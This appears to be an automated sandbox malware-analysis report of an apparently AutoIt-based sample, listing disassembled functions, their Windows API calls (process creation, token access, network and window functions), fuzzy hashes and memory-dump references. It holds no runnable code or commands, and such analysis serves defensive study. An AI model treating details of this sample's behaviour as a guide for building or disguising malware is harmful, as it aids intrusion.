Opcode Fuzzy Hash: a65d1881d29c7e947f5b32dbcea64912f89e558cad637ae539af3f1adf23f7b4
Instruction Fuzzy Hash: 01017B3204814EBBCF125E84DC01CEE3F62BF28355B589415FF98A8130C636C9B1AB81

Function 00F4B2C5 Relevance: 6.0, APIs: 4, Instructions: 47COMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 00F4B2E4
ScreenToClient.USER32(?,?), ref: 00F4B2FC
ScreenToClient.USER32(?,?), ref: 00F4B320
InvalidateRect.USER32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 00F4B33B

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: ClientRectScreen$InvalidateWindow
String ID:
API String ID: 357397906-0
Opcode ID: 7554c2b9328f5e98d6d8669c01a5d83c229999d3171ca26272f5279bc51a6493
Instruction ID: a754d21b6d366c14d3c6a394a618a5f5f919040249acb609fa0f66c69b7149ac
Opcode Fuzzy Hash: 7554c2b9328f5e98d6d8669c01a5d83c229999d3171ca26272f5279bc51a6493
Instruction Fuzzy Hash: 971143B9D0020DEFDB41CFA9D8849EEBBF9FB19310F108166E914E3220D735AA659F50

Function 00F4B635 Relevance: 6.0, APIs: 4, Instructions: 40processCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00F4B644
_memset.LIBCMT ref: 00F4B653
CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00F86F20,00F86F64), ref: 00F4B682
CloseHandle.KERNEL32 ref: 00F4B694

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: _memset$CloseCreateHandleProcess
String ID:
API String ID: 3277943733-0
Opcode ID: a8e988eb0e8808daf987ef2448aa6766e731a64373eb404deb1db294c4256d87
Instruction ID: 436ec2f0d53379e1cfae7f0e9eb998b16e16ec275611f0cebc8e7d770c39b649
Opcode Fuzzy Hash: a8e988eb0e8808daf987ef2448aa6766e731a64373eb404deb1db294c4256d87
Instruction Fuzzy Hash: 53F0FEB2940308BAE2102B65BC06FFB7A9CEB19795F005025BB08E5192E7759C10A7A8

Function 00F26BDA Relevance: 6.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 00F26BE6

Part of subcall function 00F276C4: _memset.LIBCMT ref: 00F276F9

_memmove.LIBCMT ref: 00F26C09
_memset.LIBCMT ref: 00F26C16
LeaveCriticalSection.KERNEL32(?), ref: 00F26C26

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: CriticalSection_memset$EnterLeave_memmove
String ID:
API String ID: 48991266-0
Opcode ID: 1b2bd7035f783e59315e6f157bb9f46829bacfa72631ae095b7a014a9c49d671
Instruction ID: 95639ff807087a31ce01b4a719631adcab5288e36e751c46e62c94b2df7faab6
Opcode Fuzzy Hash: 1b2bd7035f783e59315e6f157bb9f46829bacfa72631ae095b7a014a9c49d671
Instruction Fuzzy Hash: E2F05E3A200214ABCF016F95EC85A8ABF69EF46360F048065FE086E227C775E911DBB4

Function 00EC2218 Relevance: 6.0, APIs: 4, Instructions: 23COMMON

Download Yara Rule

APIs

GetSysColor.USER32(00000008), ref: 00EC2231
SetTextColor.GDI32(?,000000FF), ref: 00EC223B
SetBkMode.GDI32(?,00000001), ref: 00EC2250
GetStockObject.GDI32(00000005), ref: 00EC2258
GetWindowDC.USER32(?,00000000), ref: 00EFBE83
GetPixel.GDI32(00000000,00000000,00000000), ref: 00EFBE90
GetPixel.GDI32(00000000,?,00000000), ref: 00EFBEA9
GetPixel.GDI32(00000000,00000000,?), ref: 00EFBEC2
GetPixel.GDI32(00000000,?,?), ref: 00EFBEE2
ReleaseDC.USER32(?,00000000), ref: 00EFBEED

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: Pixel$Color$ModeObjectReleaseStockTextWindow
String ID:
API String ID: 1946975507-0
Opcode ID: bd4ef4b5293333d2b63f91965e3dab9bd2c54e210a603f3a95ded16803982389
Instruction ID: 8dd27a30e86b4f9a6ed521fa088f51920922b49c20049f4efc7861f28a25b63d
Opcode Fuzzy Hash: bd4ef4b5293333d2b63f91965e3dab9bd2c54e210a603f3a95ded16803982389
Instruction Fuzzy Hash: 7EE03036504248EADB215F64EC0D7D83B10EB56336F048366FF6D980E187714584EB11

Function 00F18712 Relevance: 6.0, APIs: 4, Instructions: 23threadCOMMON

Download Yara Rule

APIs

GetCurrentThread.KERNEL32 ref: 00F1871B
OpenThreadToken.ADVAPI32(00000000,?,?,?,00F182E6), ref: 00F18722
GetCurrentProcess.KERNEL32(00000028,?,?,?,?,00F182E6), ref: 00F1872F
OpenProcessToken.ADVAPI32(00000000,?,?,?,00F182E6), ref: 00F18736

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: CurrentOpenProcessThreadToken
String ID:
API String ID: 3974789173-0
Opcode ID: fc1eb791e1d3468753e4a996542f9947294f18f819f36c4242624bb719af31be
Instruction ID: acb4d04defdae3745116975cf252e6bf4716d9c914c8a45b5233c6c8a8998d49
Opcode Fuzzy Hash: fc1eb791e1d3468753e4a996542f9947294f18f819f36c4242624bb719af31be
Instruction Fuzzy Hash: 6BE0CD3AA113159BE7205FF45D0CB973BACEF727E1F144838FA49CA080DA34848AE750

Function 00F1B2F3 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 241comCOMMON

Download Yara Rule

APIs

OleSetContainedObject.OLE32(?,00000001), ref: 00F1B4BE

Strings

AutoIt3GUI, xrefs: 00F1B436
Container, xrefs: 00F1B43B

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: ContainedObject
String ID: AutoIt3GUI$Container
API String ID: 3565006973-3941886329
Opcode ID: 8b2ca266639a607143531c405c3d00ae83500d6cde276e76634a2234f8ad343f
Instruction ID: 966da145adfa87bf13058f7a938f8fde5f640f6e209bc5e0f7a8e3acf705cebf
Opcode Fuzzy Hash: 8b2ca266639a607143531c405c3d00ae83500d6cde276e76634a2234f8ad343f
Instruction Fuzzy Hash: 86915871600601EFDB14DF68C884BAAB7E5FF49710F24856EE94ACB2A1DB71E881DB50

Function 00F2AFAC Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 201shareCOMMON

Download Yara Rule

APIs

Part of subcall function 00EDFC86: _wcscpy.LIBCMT ref: 00EDFCA9

Part of subcall function 00EC9837: __itow.LIBCMT ref: 00EC9862
Part of subcall function 00EC9837: __swprintf.LIBCMT ref: 00EC98AC

__wcsnicmp.LIBCMT ref: 00F2B02D
WNetUseConnectionW.MPR(00000000,?,?,00000000,?,?,00000100,?), ref: 00F2B0F6

Strings

LPT, xrefs: 00F2B027

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: Connection__itow__swprintf__wcsnicmp_wcscpy
String ID: LPT
API String ID: 3222508074-1350329615
Opcode ID: 6b8ac7013e3a97254e0dd7651b04e9aea983cd1ded9a9b27849553cda959ac56
Instruction ID: 4d345f331a8bcdcfaa3f66eec403ec54dadb10878ed38fce937d538801e2d04f
Opcode Fuzzy Hash: 6b8ac7013e3a97254e0dd7651b04e9aea983cd1ded9a9b27849553cda959ac56
Instruction Fuzzy Hash: 19619276E00229AFCB18DF94D895EAEB7F4EF08710F104069F916AB391D770AE81DB50

Function 00ED2957 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 144sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000000), ref: 00ED2968
GlobalMemoryStatusEx.KERNEL32(?), ref: 00ED2981

Strings

@, xrefs: 00ED2975

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: GlobalMemorySleepStatus
String ID: @
API String ID: 2783356886-2766056989
Opcode ID: f69069309185164b6fc71e90139f2003edd9a29fcda901e3afa6ddd0b2ae701e
Instruction ID: 4c6bc218ecc6a51b5e72663f6cad98ab7bec6a0e980794f9541788d85049f0d4
Opcode Fuzzy Hash: f69069309185164b6fc71e90139f2003edd9a29fcda901e3afa6ddd0b2ae701e
Instruction Fuzzy Hash: 34515A724087489BD320EF10DD86BAFBBE8FF85344F41485DF2D8521A2DB719529CB66

Function 00F29734 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 138COMMON

Download Yara Rule

APIs

Part of subcall function 00EC4F0B: __fread_nolock.LIBCMT ref: 00EC4F29

_wcscmp.LIBCMT ref: 00F29824
_wcscmp.LIBCMT ref: 00F29837

Strings

FILE, xrefs: 00F29770

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: _wcscmp$__fread_nolock
String ID: FILE
API String ID: 4029003684-3121273764
Opcode ID: 8b870828cba9041b7d843090aa57a9c765cdad45e2c129f9f25fd6f7f6c6ec7d
Instruction ID: 56ae422ef8e26b2a60e02aaf02c4306d064d74f1445e229ae877e59eeaeed942
Opcode Fuzzy Hash: 8b870828cba9041b7d843090aa57a9c765cdad45e2c129f9f25fd6f7f6c6ec7d
Instruction Fuzzy Hash: 7B41D672A04259BADF219AA1DC45FEFBBFDEF85710F000069F904B7180DAB19A05DB61

Function 00F3258E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 97networkCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00F3259E
InternetCrackUrlW.WININET(?,00000000,00000000,0000007C), ref: 00F325D4

Strings

|, xrefs: 00F325A5

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: CrackInternet_memset
String ID: |
API String ID: 1413715105-2343686810
Opcode ID: 40db624141e65d298484909f94ebf80132ee13b1198287ded97e7cf5e2e0002a
Instruction ID: 312814bf78fc7db135d4c5afb9db1230135e299718649c026019428f251cf438
Opcode Fuzzy Hash: 40db624141e65d298484909f94ebf80132ee13b1198287ded97e7cf5e2e0002a
Instruction Fuzzy Hash: 6A31F571800119ABCF41AFA1CD86EEEBFB8FF08310F10105AED55B6162EA325956DF60

Function 00F47A71 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 97windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00001132,00000000,?), ref: 00F47B61
SendMessageW.USER32(?,00001105,00000000,00000000), ref: 00F47B76

Strings

', xrefs: 00F47ACA

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: MessageSend
String ID: '
API String ID: 3850602802-1997036262
Opcode ID: 5228395b8401af5c81213a9aaeb72e377bb05482c2815fb98051b7db2eee70c9
Instruction ID: 029f83b5b81f10e8b979414061645c3e204a17ea74dbb91e17e4ceb5dc7ffe89
Opcode Fuzzy Hash: 5228395b8401af5c81213a9aaeb72e377bb05482c2815fb98051b7db2eee70c9
Instruction Fuzzy Hash: ED411674A0530A9FDB14DF64C980BEABBB9FB08300F10016AED08EB395D730A941DF90

Function 00F46A63 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 95COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?,?,?,?), ref: 00F46B17
MoveWindow.USER32(?,?,?,?,?,00000001,?,?,?), ref: 00F46B53

Strings

static, xrefs: 00F46AB3

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: Window$DestroyMove
String ID: static
API String ID: 2139405536-2160076837
Opcode ID: 06e05cb501558bff65b032dba8f51b07f4e606d29b02162fa34f5bc4be318b7d
Instruction ID: 8ac97b136ca0ac7c0bbd6cc44f0ce73ddaee959df7ca15f45b7dbadb78c60247
Opcode Fuzzy Hash: 06e05cb501558bff65b032dba8f51b07f4e606d29b02162fa34f5bc4be318b7d
Instruction Fuzzy Hash: 6531B071200604AEDB109F24CC40FFB7BA8FF89764F108519FDA9D3191DA35AC81E761

Function 00F228A2 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 88windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00F22911
GetMenuItemInfoW.USER32(?,?,00000000,00000030), ref: 00F2294C

Strings

0, xrefs: 00F2290A

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: InfoItemMenu_memset
String ID: 0
API String ID: 2223754486-4108050209
Opcode ID: 2c3b07f411272b8a528caabcc62bab87d611827c5d13889b76fc6dcbcb3cee37
Instruction ID: d412990b1105b682c3d8f752c0ae15fe85d771b3a1dd184e116624915b5d8a07
Opcode Fuzzy Hash: 2c3b07f411272b8a528caabcc62bab87d611827c5d13889b76fc6dcbcb3cee37
Instruction Fuzzy Hash: 6E319531900319BBDB64CF58ED45BEEBBF8EF45360F140019ED85AA1A1D7709984FB51

Function 00F339E9 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 84COMMON

Download Yara Rule

APIs

__snwprintf.LIBCMT ref: 00F33A66

Part of subcall function 00EC7DE1: _memmove.LIBCMT ref: 00EC7E22

Strings

AUTOITCALLVARIABLE%d, xrefs: 00F33A58
, $, xrefs: 00F33AA6

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: __snwprintf_memmove
String ID: , $$AUTOITCALLVARIABLE%d
API String ID: 3506404897-2584243854
Opcode ID: 57514adefa8c5c8d6ee993fb37999123b2013cba6dd1af754e4b3788892010da
Instruction ID: ae0df204e6a93a70f5f660f79a7cab66e8d3722662729da2ffee84d0571ea7bd
Opcode Fuzzy Hash: 57514adefa8c5c8d6ee993fb37999123b2013cba6dd1af754e4b3788892010da
Instruction Fuzzy Hash: 2921B135600219AACF10EF64CD82EAE77F4AF48760F404459F449B7182DB35EA42DB62

Function 00F466D4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000143,00000000,?), ref: 00F46761
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00F4676C

Strings

Combobox, xrefs: 00F4672E

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: MessageSend
String ID: Combobox
API String ID: 3850602802-2096851135
Opcode ID: d72c70f151f5f62fe9ff27ea4df360849a7a979631123b292c89a6a492a2267c
Instruction ID: 1486ffa4b5b0c18941b4c525caaedd97e76f89c789d4214ff0b5c2cd2e93a78a
Opcode Fuzzy Hash: d72c70f151f5f62fe9ff27ea4df360849a7a979631123b292c89a6a492a2267c
Instruction Fuzzy Hash: A711B275600208AFEF118F54CC80EFB3F6AEB4A3A8F114129FD18D7291DA75DC51A7A1

Function 00F46C07 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

Part of subcall function 00EC1D35: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 00EC1D73
Part of subcall function 00EC1D35: GetStockObject.GDI32(00000011), ref: 00EC1D87
Part of subcall function 00EC1D35: SendMessageW.USER32(00000000,00000030,00000000), ref: 00EC1D91

GetWindowRect.USER32(00000000,?), ref: 00F46C71
GetSysColor.USER32(00000012), ref: 00F46C8B

Strings

static, xrefs: 00F46C4E

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: Window$ColorCreateMessageObjectRectSendStock
String ID: static
API String ID: 1983116058-2160076837
Opcode ID: 6413996a895df98646d469dabf1575c30b71359a54ed518a78ba3c6c051576fa
Instruction ID: 982f439875a02a162a54990d293a2d8b3e86d404bbc3f4cc6c3e1478c07cfcc9
Opcode Fuzzy Hash: 6413996a895df98646d469dabf1575c30b71359a54ed518a78ba3c6c051576fa
Instruction Fuzzy Hash: C0215972910209AFDF04DFA8CC85EFA7BB8FB09315F004628FE95D2250D635E850EB61

Function 00F46920 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 64windowCOMMON

Download Yara Rule

APIs

GetWindowTextLengthW.USER32(00000000), ref: 00F469A2
SendMessageW.USER32(?,000000B1,00000000,00000000), ref: 00F469B1

Strings

edit, xrefs: 00F46986

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: LengthMessageSendTextWindow
String ID: edit
API String ID: 2978978980-2167791130
Opcode ID: 3d4d8126c51a88263a8e8ba0f0562b490845c114c017d3667b01f67379d834ed
Instruction ID: c1db42d61404b649b85bea4303e17bdf901a4625d25a3a4855a35d7b42fd0e3d
Opcode Fuzzy Hash: 3d4d8126c51a88263a8e8ba0f0562b490845c114c017d3667b01f67379d834ed
Instruction Fuzzy Hash: 73116A72910208ABEB108E649C40AEB3BA9EB163B4F504728FDA5D61E0C6B5DC95B761

Function 00F229AF Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00F22A22
GetMenuItemInfoW.USER32(00000030,?,00000000,00000030), ref: 00F22A41

Strings

0, xrefs: 00F22A18

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: InfoItemMenu_memset
String ID: 0
API String ID: 2223754486-4108050209
Opcode ID: 7dc961dfd1d259402f3da950f265f6b1531a465481471eb8c5ed05518c82a36b
Instruction ID: 177f575127601c14a2402149b2c127aef8fe758196691eed889c42ca77de78d4
